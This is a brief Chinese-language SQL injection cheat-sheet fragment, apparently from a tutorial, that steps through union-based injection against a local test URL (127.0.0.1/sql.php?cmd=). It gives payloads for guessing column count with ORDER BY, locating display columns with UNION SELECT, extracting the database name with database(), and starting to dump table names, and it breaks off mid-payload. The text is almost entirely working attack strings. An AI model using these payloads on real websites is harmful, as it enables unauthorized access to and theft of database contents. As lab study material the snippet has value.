一:union报错注入 猜字段长度:order by 28 先显示位http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 当前数据库:http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,database() 爆数据表: http://127.0.0.1/sql.php?cmd=1 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,g…